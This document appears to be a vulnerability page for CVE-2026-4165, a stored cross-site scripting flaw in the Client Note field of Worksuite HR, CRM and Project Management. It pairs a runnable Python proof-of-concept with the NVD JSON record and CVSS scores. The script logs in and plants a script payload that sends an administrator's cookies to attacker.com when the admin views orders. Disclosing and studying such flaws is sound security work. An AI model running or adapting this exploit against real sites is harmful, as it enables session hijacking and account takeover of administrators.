CVE-2026-4165

import requests import sys # CVE-2026-4165 PoC - WorksSuite XSS in Client Note parameter # Target: /account/orders/create def exploit_xss(target_url, username, password): """ Exploit Stored XSS in Client Note parameter """ login_url = f"{target_url}/login" order_url = f"{target_url}/account/orders/create" # XSS payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Step 1: Login to get session session = requests.Session() login_data = { 'email': username, 'password': password } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False # Step 2: Create order with XSS payload in Client Note order_data = { 'client_note': xss_payload, # Other required fields... } response = session.post(order_url, data=order_data) if response.status_code == 200: print("[+] XSS payload submitted successfully") print("[*] Payload stored in order creation") print("[*] Trigger when admin views orders") return True else: print("[-] Failed to submit payload") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-4165.py <target_url> <username> <password>") sys.exit(1) exploit_xss(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-4165", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:55.620", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Worksuite HR, CRM and Project Management up to 5.5.25. The affected element is an unknown function of the file /account/orders/create. The manipulation of the argument Client Note leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en Worksuite HR, CRM y Project Management hasta la versión 5.5.25. El elemento afectado es una función desconocida del archivo /account/orders/create. La manipulación del argumento Client Note conduce a cross-site scripting. El ataque puede iniciarse remotamente. El exploit ha sido divulgado al público y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "baseScore": 3.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 6.4, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://vuldb.com/?ctiid.351072", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351072", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769430", "source": "[email protected]"}]}}